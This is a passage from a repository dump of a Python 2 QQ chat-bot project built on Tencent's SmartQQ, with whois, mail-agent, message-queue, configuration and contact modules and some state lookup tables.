87 |
88 | def whois_request(domain, server, port=43):
89 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
90 | sock.connect((server, port))
91 | sock.send(("%s\r\n" % domain).encode("utf-8"))
92 | buff = b""
93 | while True:
94 | data = sock.recv(1024)
95 | if len(data) == 0:
96 | break
97 | buff += data
98 | return buff.decode("utf-8")
99 |
--------------------------------------------------------------------------------
/pythonwhois/net.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/net.pyc
--------------------------------------------------------------------------------
/pythonwhois/parse.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/parse.pyc
--------------------------------------------------------------------------------
/pythonwhois/shared.py:
--------------------------------------------------------------------------------
1 | class WhoisException(Exception):
2 | pass
3 |
--------------------------------------------------------------------------------
/pythonwhois/shared.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/shared.pyc
--------------------------------------------------------------------------------
/pythonwhois/states_au.dat:
--------------------------------------------------------------------------------
1 | NSW,"New South Wales"
2 | QLD,"Queensland"
3 | SA,"South Australia"
4 | TAS,"Tasmania"
5 | VIC,"Victoria"
6 | WA,"Western Australia"
--------------------------------------------------------------------------------
/pythonwhois/states_ca.dat:
--------------------------------------------------------------------------------
1 | id,name,abbreviation
2 | "60","Alberta","AB"
3 | "61","British Columbia","BC"
4 | "62","Manitoba","MB"
5 | "63","New Brunswick","NB"
6 | "64","Newfoundland and Labrador","NL"
7 | "65","Nova Scotia","NS"
8 | "66","Ontario","ON"
9 | "67","Prince Edward Island","PE"
10 | "68","Quebec","QC"
11 | "69","Saskatchewan","SK"
12 | "70","Northwest Territories","NT"
13 | "71","Nunavut","NU"
14 | "72","Yukon Territory","YT"
15 |
--------------------------------------------------------------------------------
/pythonwhois/states_us.dat:
--------------------------------------------------------------------------------
1 | id,name,abbreviation
2 | "1","Alabama","AL"
3 | "2","Alaska","AK"
4 | "3","Arizona","AZ"
5 | "4","Arkansas","AR"
6 | "5","California","CA"
7 | "6","Colorado","CO"
8 | "7","Connecticut","CT"
9 | "8","Delaware","DE"
10 | "9","Florida","FL"
11 | "10","Georgia","GA"
12 | "11","Hawaii","HI"
13 | "12","Idaho","ID"
14 | "13","Illinois","IL"
15 | "14","Indiana","IN"
16 | "15","Iowa","IA"
17 | "16","Kansas","KS"
18 | "17","Kentucky","KY"
19 | "18","Louisiana","LA"
20 | "19","Maine","ME"
21 | "20","Maryland","MD"
22 | "21","Massachusetts","MA"
23 | "22","Michigan","MI"
24 | "23","Minnesota","MN"
25 | "24","Mississippi","MS"
26 | "25","Missouri","MO"
27 | "26","Montana","MT"
28 | "27","Nebraska","NE"
29 | "28","Nevada","NV"
30 | "29","New Hampshire","NH"
31 | "30","New Jersey","NJ"
32 | "31","New Mexico","NM"
33 | "32","New York","NY"
34 | "33","North Carolina","NC"
35 | "34","North Dakota","ND"
36 | "35","Ohio","OH"
37 | "36","Oklahoma","OK"
38 | "37","Oregon","OR"
39 | "38","Pennsylvania","PA"
40 | "39","Rhode Island","RI"
41 | "40","South Carolina","SC"
42 | "41","South Dakota","SD"
43 | "42","Tennessee","TN"
44 | "43","Texas","TX"
45 | "44","Utah","UT"
46 | "45","Vermont","VT"
47 | "46","Virginia","VA"
48 | "47","Washington","WA"
49 | "48","West Virginia","WV"
50 | "49","Wisconsin","WI"
51 | "50","Wyoming","WY"
52 | "52","Puerto Rico","PR"
53 | "53","U.S. Virgin Islands","VI"
54 | "54","American Samoa","AS"
55 | "55","Guam","GU"
56 | "56","Northern Mariana Islands","MP"
--------------------------------------------------------------------------------
/qqbot/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from qqbot import QQBot, Main
4 | from qsession import QSession
5 | from qcontacts import QContacts
6 | from qterm import QTerm
7 |
--------------------------------------------------------------------------------
/qqbot/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/__init__.pyc
--------------------------------------------------------------------------------
/qqbot/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import json, platform, subprocess, os, threading
4 |
5 | JsonLoads = lambda s: encJson(json.loads(s))
6 | JsonDumps = json.dumps
7 |
8 | class DotDict:
9 | def __init__(self, **kw):
10 | self.__dict__.update(kw)
11 |
12 | def __repr__(self):
13 | s = '%s(%s)' % (self.__class__.__name__, self.__dict__)
14 | return s.decode('string-escape')
15 |
16 | def update(self, d):
17 | self.__dict__.update(d)
18 |
19 | def encJson(obj):
20 | if hasattr(obj, 'encode'):
21 | return obj.encode('utf8')
22 | elif isinstance(obj, list):
23 | return [encJson(e) for e in obj]
24 | elif isinstance(obj, dict):
25 | return dict((encJson(k), encJson(v)) for k,v in obj.iteritems())
26 | else:
27 | return obj
28 |
29 | CutDict = lambda d, keys: dict((k, d.pop(k)) for k in keys if k in d)
30 |
31 | def Utf8Partition(msg, n):
32 | if n >= len(msg):
33 | return msg, ''
34 | else:
35 | # All utf8 characters start with '0xxx-xxxx' or '11xx-xxxx'
36 | while n > 0 and ord(msg[n]) >> 6 == 2:
37 | n -= 1
38 | return msg[:n], msg[n:]
39 |
40 | # usage: CallInNewConsole(['python', 'qterm.py'])
41 | def CallInNewConsole(args):
42 | osName = platform.system()
43 | if osName == 'Windows':
44 | return subprocess.call(['start'] + list(args), shell=True)
45 |
46 | elif osName == 'Linux':
47 | cmd = subprocess.list2cmdline(args)
48 | if hasCommand('mate-terminal'):
49 | args = ['mate-terminal', '-e', cmd]
50 | elif hasCommand('gnome-terminal'):
51 | args = ['gnome-terminal', '-x', cmd]
52 | elif hasCommand('xterm'):
53 | args = ['sh', '-c', 'xterm -e %s &' % cmd]
54 | else:
55 | return 1
56 | # args = ['sh', '-c', 'nohup %s >/dev/null 2>&1 &' % cmd]
57 | return subprocess.call(args, preexec_fn=os.setpgrp)
58 |
59 | elif osName == 'Darwin':
60 | return subprocess.call(['open','-W','-a','Terminal.app'] + list(args))
61 |
62 | else:
63 | return 1
64 | # return subprocess.Popen(list(args) + ['&'])
65 |
66 | def hasCommand(procName):
67 | try:
68 | return procName in subprocess.check_output(['which', procName])
69 | except subprocess.CalledProcessError:
70 | return False
71 |
72 | def StartThread(target, *args, **kwargs):
73 | daemon = kwargs.pop('daemon', False)
74 | t = threading.Thread(target=target, args=args, kwargs=kwargs)
75 | t.daemon = daemon
76 | t.start()
77 |
78 | class LockedValue:
79 | def __init__(self, initialVal=None):
80 | self.val = initialVal
81 | self.lock = threading.Lock()
82 |
83 | def setVal(self, val):
84 | with self.lock:
85 | self.val = val
86 |
87 | def getVal(self):
88 | with self.lock:
89 | val = self.val
90 | return val
91 |
--------------------------------------------------------------------------------
/qqbot/common.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/common.pyc
--------------------------------------------------------------------------------
/qqbot/mailagent.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import smtplib
4 | import imaplib
5 | from email.encoders import encode_base64
6 | from email.mime.multipart import MIMEMultipart
7 | from email.mime.base import MIMEBase
8 | from email.mime.text import MIMEText
9 | from email.utils import parseaddr, formataddr
10 | from email.header import Header, decode_header
11 | from email import message_from_string
12 |
13 | SERVER_LIB = {
14 | 'sample.com': {
15 | 'smtp': 'smtp.sample.com',
16 | 'imap': 'imap.sample.com',
17 | 'smtp_port': 0,
18 | 'imap_port': 0,
19 | 'use_ssl': True
20 | }
21 | }
22 |
23 | def format_addr(s):
24 | name, addr = parseaddr(s.decode('utf8'))
25 | return formataddr((
26 | Header(name, 'utf8').encode(),
27 | addr.encode('utf8') if isinstance(addr, unicode) else addr
28 | ))
29 |
30 | class MailAgent:
31 | def __init__(self, account, auth_code, name='', **config):
32 | account_name, server_name = account.split('@')
33 |
34 | self.smtp = 'smtp.' + server_name
35 | self.imap = 'imap.' + server_name
36 | self.smtp_port = 0
37 | self.imap_port = 0
38 | self.use_ssl = True
39 |
40 | self.__dict__.update(SERVER_LIB.get(server_name, {}))
41 | self.__dict__.update(config)
42 |
43 | self.name = '%s <%s>' % (name or account_name, account)
44 | self.account = account
45 | self.auth_code = auth_code
46 |
47 | st_SMTP = smtplib.SMTP_SSL if self.use_ssl else smtplib.SMTP
48 | st_IMAP = imaplib.IMAP4_SSL if self.use_ssl else imaplib.IMAP4
49 |
50 | if self.smtp_port:
51 | self.st_SMTP = lambda : st_SMTP(self.smtp, self.smtp_port)
52 | else:
53 | self.st_SMTP = lambda : st_SMTP(self.smtp)
54 |
55 | if self.imap_port:
56 | self.st_IMAP = lambda : st_IMAP(self.imap, self.imap_port)
57 | else:
58 | self.st_IMAP = lambda : st_IMAP(self.imap)
59 |
60 | self.SMTP = lambda : SMTP(self)
61 | self.IMAP = lambda : IMAP(self)
62 |
63 | class SMTP:
64 | def __init__(self, mail_agent):
65 | self.name, self.account = mail_agent.name, mail_agent.account
66 | self.server = mail_agent.st_SMTP()
67 | try:
68 | self.server.login(mail_agent.account, mail_agent.auth_code)
69 | except:
70 | self.close()
71 | raise
72 |
73 | def close(self):
74 | try:
75 | return self.server.quit()
76 | except:
77 | pass
78 |
79 | def __enter__(self):
80 | return self
81 |
82 | def __exit__(self, exc_type, exc_value, traceback):
83 | self.close()
84 |
85 | def send(self, to_addr, html='', subject='', to_name='', png_content=''):
86 | subject = subject or 'No subject'
87 | to_name = to_name or to_addr.split('@')[0]
88 | html = '%s' % html
89 | if html:
90 | html = html.replace('{{png}}', '
')
91 |
92 | msg = MIMEMultipart()
93 | msg['From'] = format_addr(self.name)
94 | msg['To'] = format_addr('%s <%s>' % (to_name, to_addr))
95 | msg['Subject'] = Header(subject.decode('utf8'), 'utf8').encode()
96 | msg.attach(MIMEText(html, 'html', 'utf8'))
97 |
98 | if png_content:
99 | m = MIMEBase('image', 'png', filename='x.png')
100 | m.add_header('Content-Disposition', 'attachment', filename='x.png')
101 | m.add_header('Content-ID', '<0>')
102 | m.add_header('X-Attachment-Id', '0')
103 | m.set_payload(png_content)
104 | encode_base64(m)
105 | msg.attach(m)
106 |
107 | self.server.sendmail(self.account, to_addr, msg.as_string())
108 |
109 | class IMAP:
110 | def __init__(self, mail_agent):
111 | self.name, self.account = mail_agent.name, mail_agent.account
112 | self.conn = mail_agent.st_IMAP()
113 | try:
114 | self.conn.login(mail_agent.account, mail_agent.auth_code)
115 | self.conn.select('INBOX')
116 | except:
117 | self.close()
118 | raise
119 |
120 | def __enter__(self):
121 | return self
122 |
123 | def __exit__(self, exc_type, exc_value, traceback):
124 | self.close()
125 |
126 | def close(self):
127 | try:
128 | return self.conn.close()
129 | except:
130 | pass
131 |
132 | # # NOT SUPPORTED by qq mail.
133 | # def getSubject(self, i):
134 | # conn = self.conn
135 | # id_list = conn.search(None, 'ALL')[1][0].split()
136 | # try:
137 | # email_id = id_list[i]
138 | # except IndexError:
139 | # return None, -1
140 | # data = conn.fetch(email_id, 'BODY.PEEK[HEADER.FIELDS (SUBJECT)]')[1]
141 | # msg = message_from_string(data[0][1])
142 | # s, encoding = decode_header(msg['Subject'])[0]
143 | # subject = s.decode(encoding or 'utf-8').encode('utf-8')
144 | # return subject, email_id
145 |
146 | # # NOT SUPPORTED by qq mail.
147 | # def delMail(self, subject):
148 | # idx = -1
149 | # while True:
150 | # sbj, email_id = self.getSubject(idx)
151 | # if sbj is None or sbj != subject:
152 | # break
153 | # else:
154 | # self.conn.store(email_id, '+FLAGS', '\\Deleted')
155 | # self.conn.expunge()
156 | # idx -= 1
157 |
158 | # # NOT SUPPORTED by qq mail.
159 | # def search_mail(self, subject, from_addr):
160 | # criteria = '(FROM "%s" SUBJECT "%s")' % (from_addr, subject)
161 | # return self.conn.search(None, criteria)[1][0].split()
162 |
163 | def getSubject(self, i):
164 | conn = self.conn
165 | id_list = conn.search(None, '(UNSEEN)')[1][0].split()
166 | try:
167 | email_id = id_list[i]
168 | except IndexError:
169 | return None, -1
170 | data = conn.fetch(email_id, 'BODY.PEEK[HEADER.FIELDS (SUBJECT)]')[1]
171 | msg = message_from_string(data[0][1])
172 | s, encoding = decode_header(msg['Subject'])[0]
173 | subject = s.decode(encoding or 'utf-8').encode('utf-8')
174 | return subject
175 |
176 | if __name__ == '__main__':
177 | import time
178 | from qconf import QConf
179 | conf = QConf(user='eva')
180 | ma = MailAgent(conf.mailAccount, conf.mailAuthCode)
181 |
182 | with ma.SMTP() as s:
183 | s.send(conf.mailAccount, 'hello')
184 | print 'send ok'
185 |
186 | # with ma.IMAP() as i:
187 | # subject = i.getUnSeenSubject(-1)[0]
188 | # print 'latest email:', subject
189 | # print 'recv ok'
190 | #
191 | # time.sleep(5)
192 | #
193 | # with ma.IMAP() as i:
194 | # i.delMail(subject)
195 | # print 'del ok'
196 |
--------------------------------------------------------------------------------
/qqbot/mailagent.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/mailagent.pyc
--------------------------------------------------------------------------------
/qqbot/messagefactory.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import Queue
4 |
5 | from common import StartThread
6 |
7 | class Message:
8 | def __init__(self, mtype, **kw):
9 | self.mtype = mtype
10 | self.__dict__.update(kw)
11 |
12 | # messages are generated in child threads, but be processed in the main thread.
13 | # DO NOT call any method of the factory in generators, yield messages instead.
14 | # DO NOT yield message in processors, just call methods of the factory instead.
15 | class MessageFactory:
16 | def __init__(self):
17 | self.msgProcessors = {}
18 | self.msgQueue = Queue.Queue()
19 |
20 | def Run(self):
21 | while True:
22 | try:
23 | msg = self.msgQueue.get(timeout=0.5)
24 | except Queue.Empty:
25 | continue
26 | else:
27 | try:
28 | self.Process(msg)
29 | except SystemExit as e:
30 | self.onStop(e.code)
31 | raise
32 |
33 | def Process(self, msg):
34 | if msg.mtype == 'stop':
35 | raise SystemExit(msg.code)
36 | elif msg.mtype == 'registerprocessor':
37 | self.msgProcessors[msg.ptype] = msg.processor
38 | elif msg.mtype == 'addgenerator':
39 | StartThread(self.genLoop, msg.generator, daemon=True)
40 | elif msg.mtype in self.msgProcessors:
41 | self.msgProcessors[msg.mtype](self, msg)
42 | else:
43 | raise Exception('Unregister message type: %s' % msg.mtype)
44 |
45 | def Stop(self, code=0):
46 | raise SystemExit(code)
47 |
48 | def onStop(self, code):
49 | print 'stop with', code
50 |
51 | def genLoop(self, generator):
52 | for msg in generator():
53 | self.msgQueue.put(msg)
54 |
55 | # you must register the processor for $mtype before you yield
56 | # any $mtype message, and before you add any generator which
57 | # may yield $mtype messages
58 | def RegisterProcessor(self, mtype, processor=None):
59 | if processor is None:
60 | def register(processor):
61 | self.msgProcessors[mtype] = processor
62 | return processor
63 | return register
64 | else:
65 | self.msgProcessors[mtype] = processor
66 |
67 | On = RegisterProcessor
68 |
69 | def AddGenerator(self, generator):
70 | self.msgQueue.put(Message('addgenerator', generator=generator))
71 | return generator
72 |
73 | Generator = AddGenerator
74 |
75 | def Put(self, msg):
76 | self.msgQueue.put(msg)
77 |
78 | if __name__ == '__main__':
79 | import time
80 |
81 | prev = time.time()
82 |
83 | factory = MessageFactory()
84 |
85 | # must register 'normal-message' processor before yield any 'normal-message' message,
86 | # and before add any producer which may yield 'normal-message' messages.
87 | @factory.On('normal-message')
88 | def processor(fac, msg):
89 | print 'Message%s: done' % msg.__dict__
90 |
91 | @factory.Generator
92 | def generator1():
93 | while True:
94 | time.sleep(0.2)
95 | yield Message('normal-message', pid=1)
96 |
97 | @factory.Generator
98 | def generator2():
99 | while True:
100 | time.sleep(0.2)
101 | yield Message('normal-message', pid=2)
102 |
103 | @factory.Generator
104 | def generator3():
105 | while True:
106 | time.sleep(0.2)
107 | if time.time() - prev >= 3:
108 | yield Message('stop', code=1)
109 | else:
110 | yield Message('normal-message', pid=3)
111 |
112 | factory.Run()
113 |
114 |
--------------------------------------------------------------------------------
/qqbot/messagefactory.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/messagefactory.pyc
--------------------------------------------------------------------------------
/qqbot/qconf.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | version = 'v2.0.5'
4 |
5 | sampleConfStr = '''{
6 |
7 | # QQBot 的配置文件
8 |
9 | # 用户 somebody 的配置
10 | "somebody" : {
11 |
12 | # QQBot-term 服务器端口号
13 | "termServerPort" : 8188,
14 |
15 | # http 服务器 ip,请设置为公网 ip
16 | # 注意本 ip 不是用来设置服务器的监听 ip 的,只是用来向用户显示图片链接地址的
17 | # 服务器的监听 ip 永远是 0.0.0.0 ,只要本 ip 不为空,服务器就会开启
18 | "httpServerIP" : "127.0.0.1",
19 |
20 | # http 服务器端口号
21 | "httpServerPort" : 8189,
22 |
23 | # 自动登录的 QQ 号
24 | "qq" : "3497303033",
25 |
26 | # 接收二维码图片的邮箱账号
27 | "mailAccount" : "3497303033@qq.com",
28 |
29 | # 该邮箱的 IMAP/SMTP 服务授权码
30 | "mailAuthCode" : "feregfgftrasdsew",
31 |
32 | # 显示/关闭调试信息
33 | "debug" : False,
34 |
35 | # QQBot 掉线后自动重启
36 | "restartOnOffline" : False,
37 |
38 | },
39 |
40 | # 请勿修改本项中的设置
41 | "默认配置" : {
42 | "termServerPort" : 8188,
43 | "httpServerIP" : "",
44 | "httpServerPort" : 8189,
45 | "qq" : "",
46 | "mailAccount" : "",
47 | "mailAuthCode" : "",
48 | "debug" : False,
49 | "restartOnOffline" : False,
50 | },
51 |
52 | }
53 | '''
54 |
55 | import os, sys, ast, argparse
56 | from utf8logger import SetLogLevel, INFO, RAWINPUT, utf8Stdout
57 |
58 | class ConfError(Exception):
59 | pass
60 |
61 | class QConf:
62 | def __init__(self, qq=None, user=None):
63 | self.qq = None if qq is None else str(qq)
64 | self.user = None if user is None else str(user)
65 | self.version = version
66 | self.readCmdLine()
67 | self.readConfFile()
68 | self.configure()
69 |
70 | def readCmdLine(self):
71 | parser = argparse.ArgumentParser()
72 |
73 | parser.add_argument('-u', '--user', help='set user name')
74 |
75 | parser.add_argument('-q', '--qq', help='set qq number')
76 |
77 | parser.add_argument('-p', '--termServerPort', type=int,
78 | help='set the port of term server')
79 |
80 | parser.add_argument('-ip', '--httpServerIP',
81 | help='set the ip address of http server')
82 |
83 | parser.add_argument('-hp', '--httpServerPort', type=int,
84 | help='set the port of http server')
85 |
86 | parser.add_argument('-m', '--mailAccount',
87 | help='set mail account that send/receive QRCODE')
88 |
89 | parser.add_argument('-mc', '--mailAuthCode',
90 | help='set auth code of that mail account')
91 |
92 | parser.add_argument('-d', '--debug', action='store_true',
93 | help='turn on debug mode', default=None)
94 |
95 | parser.add_argument('-nd', '--nodebug', action='store_true',
96 | help='turn off debug mode')
97 |
98 | parser.add_argument('-r', '--restartOnOffline', action='store_true',
99 | help='restart when offline', default=None)
100 |
101 | parser.add_argument('-nr', '--norestartOnOffline', action='store_true',
102 | help='no restart when offline')
103 |
104 | opts = parser.parse_args()
105 |
106 | if opts.nodebug:
107 | opts.debug = False
108 |
109 | if opts.norestartOnOffline:
110 | opts.restartOnOffline = False
111 |
112 | delattr(opts, 'nodebug')
113 | delattr(opts, 'norestartOnOffline')
114 |
115 | for k, v in opts.__dict__.items():
116 | if getattr(self, k, None) is None:
117 | setattr(self, k, v)
118 |
119 | def readConfFile(self):
120 | conf = ast.literal_eval(sampleConfStr)['默认配置']
121 |
122 | confPath = self.ConfPath()
123 |
124 | if os.path.exists(confPath):
125 | try:
126 | with open(confPath) as f:
127 | cusConf = ast.literal_eval(f.read())
128 |
129 | if type(cusConf) is not dict:
130 | raise ConfError('文件内容必须是一个dict')
131 |
132 | elif self.user is None:
133 | pass
134 |
135 | elif self.user not in cusConf:
136 | raise ConfError('用户 %s 不存在' % self.user)
137 |
138 | elif type(cusConf[self.user]) is not dict:
139 | raise ConfError('用户 %s 的配置必须是一个 dict' % self.user)
140 |
141 | else:
142 | for k, v in cusConf[self.user].items():
143 | if k not in conf:
144 | raise ConfError(
145 | '不存在的配置选项 %s.%s ' % (self.user, k)
146 | )
147 |
148 | elif type(v) is not type(conf[k]):
149 | raise ConfError(
150 | '%s.%s 必须是一个 %s' %
151 | (self.user, k, type(conf[k]).__name__)
152 | )
153 |
154 | else:
155 | conf[k] = v
156 |
157 | except (IOError, SyntaxError, ValueError, ConfError) as e:
158 | utf8Stdout.write('配置文件 %s 错误: %s\n' % (confPath, e))
159 | sys.exit(1)
160 |
161 | else:
162 | try:
163 | with open(confPath, 'w') as f:
164 | f.write(sampleConfStr)
165 | except IOError:
166 | pass
167 |
168 | if self.user is not None:
169 | utf8Stdout.write('用户 %s 不存在\n' % self.user)
170 | sys.exit(1)
171 |
172 | for k, v in conf.items():
173 | if getattr(self, k) is None:
174 | setattr(self, k, v)
175 |
176 | if self.mailAccount and not self.mailAuthCode:
177 | msg = '请输入 %s 的 IMAP/SMTP 服务授权码: ' % self.mailAccount
178 | self.mailAuthCode = RAWINPUT(msg)
179 |
180 | def configure(self):
181 | SetLogLevel(self.debug and 'DEBUG' or 'INFO')
182 |
183 | def Display(self):
184 | INFO('QQBot-%s', self.version)
185 | INFO('配置完成')
186 | INFO('用户名: %s', self.user or '无')
187 | INFO('登录方式:%s', self.qq and ('自动(qq=%s)' % self.qq) or '手动')
188 | INFO('命令行服务器端口号:%s', self.termServerPort)
189 | INFO('HTTP 服务器 ip :%s', self.httpServerIP or '无')
190 | INFO('HTTP 服务器端口号:%s',
191 | self.httpServerIP and self.httpServerPort or '无')
192 | INFO('用于接收二维码的邮箱账号:%s', self.mailAccount or '无')
193 | INFO('邮箱服务授权码:%s', self.mailAccount and '******' or '无')
194 | INFO('调试模式:%s', self.debug and '开启' or '关闭')
195 | INFO('掉线后自动重启:%s', self.restartOnOffline and '是' or '否')
196 |
197 | tmpDir = os.path.join(os.path.expanduser('~'), '.qqbot-tmp')
198 |
199 | @classmethod
200 | def absPath(cls, rela):
201 | return os.path.join(cls.tmpDir, rela)
202 |
203 | def ConfPath(self):
204 | return self.absPath('%s.conf' % self.version[:4])
205 |
206 | def PicklePath(self):
207 | return self.absPath('%s-%s.pickle' % (self.version, self.qq))
208 |
209 | @classmethod
210 | def QrcodePath(cls, qrcodeId):
211 | return cls.absPath(qrcodeId+'.png')
212 |
213 | if not os.path.exists(QConf.tmpDir):
214 | os.mkdir(QConf.tmpDir)
215 |
216 | if __name__ == '__main__':
217 | QConf().Display()
218 | QConf(user='somebody').Display()
219 |
--------------------------------------------------------------------------------
/qqbot/qconf.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qconf.pyc
--------------------------------------------------------------------------------
/qqbot/qcontacts.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | from collections import defaultdict
4 |
5 | CTYPES = ('buddy', 'group', 'discuss')
6 | CHSTYPES = ('好友', '群', '讨论组')
7 | TAGS = ('name=', 'qq=', 'uin=', 'nick=', 'mark=')
8 |
9 | class QContact:
10 | def __init__(self, ctype, uin, name, qq='', nick='', mark='', members={}):
11 | if ctype not in CTYPES:
12 | raise ValueError('Ilegal contact type: %s' % ctype)
13 |
14 | self.ctype = ctype
15 | self.uin = uin
16 | self.name = name
17 | self.qq = qq
18 | self.nick = nick
19 | self.mark = mark
20 | self.members = members
21 |
22 | chsType = CHSTYPES[CTYPES.index(ctype)]
23 | self.shortRepr = '%s"%s"' % (chsType, self.name)
24 |
25 | if ctype != 'discuss':
26 | self.reprString = "%s: %s, qq=%s, uin=%s" % \
27 | (chsType, self.name, self.qq, self.uin)
28 | else:
29 | self.reprString = "%s: %s, uin=%s" % \
30 | (chsType, self.name, self.uin)
31 |
32 | def __repr__(self):
33 | return self.reprString
34 |
35 | def __str__(self):
36 | return self.shortRepr
37 |
38 | def GetMemberName(self, memberUin):
39 | return self.members.get(memberUin, 'NEWBIE')
40 |
41 | class QContacts:
42 | def __init__(self):
43 | self.cLists = dict((k, []) for k in CTYPES)
44 | self.cDicts = dict((k, defaultdict(list)) for k in CTYPES)
45 |
46 | # get buddy|group|discuss x|uin=x|qq=x|name=x
47 | # Get('buddy', '12343')
48 | # Get('buddy', 'uin=12343')
49 | # Get('buddy', uin=12343)
50 | def Get(self, ctype, *args, **kw):
51 | if (len(args)+len(kw)) != 1:
52 | raise TypeError('Wrong argument!')
53 |
54 | if ctype not in CTYPES:
55 | return []
56 |
57 | cDict = self.cDicts[ctype]
58 | if args:
59 | if not args[0]:
60 | return []
61 |
62 | cid = str(args[0])
63 |
64 | for tag in TAGS:
65 | if cid.startswith(tag):
66 | return cDict.get(cid, [])[:]
67 |
68 | result = []
69 | for tag in TAGS:
70 | for c in cDict.get(tag+cid, []):
71 | if c not in result:
72 | result.append(c)
73 | return result
74 | else:
75 | tag, value = kw.items()[0]
76 | return cDict.get(tag+'='+str(value), [])[:]
77 |
78 | def Add(self, *args, **kwargs):
79 | contact = QContact(*args, **kwargs)
80 | self.cLists[contact.ctype].append(contact)
81 | cDict = self.cDicts[contact.ctype]
82 | for tag in TAGS:
83 | value = getattr(contact, tag[:-1], '')
84 | if value:
85 | cDict[tag+value].append(contact)
86 | return contact
87 |
88 | def List(self, ctype):
89 | return self.cLists.get(ctype, [])
90 |
91 | def Assign(self, contacts):
92 | self.cLists.update(contacts.cLists)
93 | self.cDicts.update(contacts.cDicts)
94 | return self
95 |
96 | def __iter__(self):
97 | for ctype in CTYPES:
98 | for contact in self.cLists[ctype]:
99 | yield contact
100 |
--------------------------------------------------------------------------------
/qqbot/qcontacts.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/qqbot/qcontacts.pyc
--------------------------------------------------------------------------------
/qqbot/qqbot.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | QQBot -- A conversation robot base on Tencent's SmartQQ
6 | Website -- https://github.com/pandolia/qqbot/
7 | Author -- pandolia@yeah.net
8 | """
9 |
10 | import random, time, sys, subprocess
11 |
12 | from qconf import QConf
13 | from utf8logger import INFO, WARN
14 | from qsession import QLogin, QSession
15 | from qterm import QTermServer
16 | from common import Utf8Partition
17 | from qcontacts import QContact
18 | import json
19 | from messagefactory import MessageFactory, Message
20 |
21 | class QQBot(MessageFactory):
22 | def __init__(self, qq=None, user=None, conf=None, ai=None):
23 | MessageFactory.__init__(self)
24 | self.conf = conf if conf else QConf(qq, user)
25 | self.conf.Display()
26 | ai = ai if ai else BasicAI()
27 | termServer = QTermServer(self.conf.termServerPort)
28 |
29 | self.On('qqmessage', ai.OnQQMessage) # main thread
30 | self.On('polltimeout', ai.OnPollTimeout) # main thread
31 | self.On('termmessage', ai.OnTermMessage) # main thread
32 |
33 | self.On('pollcomplete', QQBot.onPollComplete) # main thread
34 | self.On('fetchcomplete', QQBot.onFetchComplete) # main thread
35 |
36 | self.AddGenerator(self.pollForever) # child thread 1
37 | self.AddGenerator(self.fetchForever) # child thread 2
38 | self.AddGenerator(termServer.Run) # child thread 3
39 | self.session=''
40 | def getSession(self):
41 | return self.session
42 |
43 | def uin2qq(self,uin):
44 | try:
45 | return str(json.loads(self.getSession().urlGet('http://s.web2.qq.com/api/get_friend_uin2?tuin='+str(uin)+'&type=1&vfwebqq='+self.getSession().vfwebqq+'&t='+str(time.time()).replace('.','')+'0'))['result']['account'])
46 | except Exception,e:
47 | print e
48 | return ''
49 | def Login(self):
50 | session, contacts = QLogin(conf=self.conf)
51 | self.session=session
52 | self.Get = contacts.Get # main thread
53 | self.List = contacts.List # main thread
54 | self.assignContacts = contacts.Assign # main thread
55 | self.send = session.Send # main thread
56 |
57 | self.poll = session.Copy().Poll # child thread 1
58 | self.fetch = session.Copy().Fetch # child thread 2
59 |
60 | # send buddy|group|discuss x|uin=x|qq=x|name=x content
61 | # Send('buddy', '1234', 'hello')
62 | # Send('buddy', 'uin=1234', 'hello')
63 | # Send('buddy', uin='1234', content='hello')
64 | def Send(self, ctype, *args, **kw):
65 | if len(args) + len(kw) != 2:
66 | raise TypeError('Wrong arguments!')
67 |
68 | if len(args) < 2 and 'content' not in kw:
69 | raise TypeError('Wrong arguments!')
70 |
71 | if len(args) == 2:
72 | content, args = args[1], args[:1]
73 | else:
74 | content = kw.pop('content')
75 |
76 | result = []
77 | if content:
78 | for contact in self.Get(ctype, *args, **kw):
79 | result.append(self.SendTo(contact, content))
80 | return result
81 |
82 | def SendTo(self, contact, content):
83 | if content:
84 | content = str(content)
85 | result = '向 %s 发消息成功' % str(contact)
86 | while content:
87 | front, content = Utf8Partition(content, 600)
88 | self.send(contact.ctype, contact.uin, front)
89 | INFO(result)
90 | return result
91 |
92 | def pollForever(self):
93 | try:
94 | while True:
95 | yield Message('pollcomplete', result=self.poll())
96 | finally:
97 | yield Message('stop', code=1)
98 |
99 | def fetchForever(self):
100 | INFO('已在后台运行 fetchForever 方法,每隔 5 分钟获取一次联系人资料')
101 | while True:
102 | time.sleep(300)
103 | try:
104 | contacts = self.fetch()
105 | except QSession.Error:
106 | WARN(' fetchForever 方法出错')
107 | else:
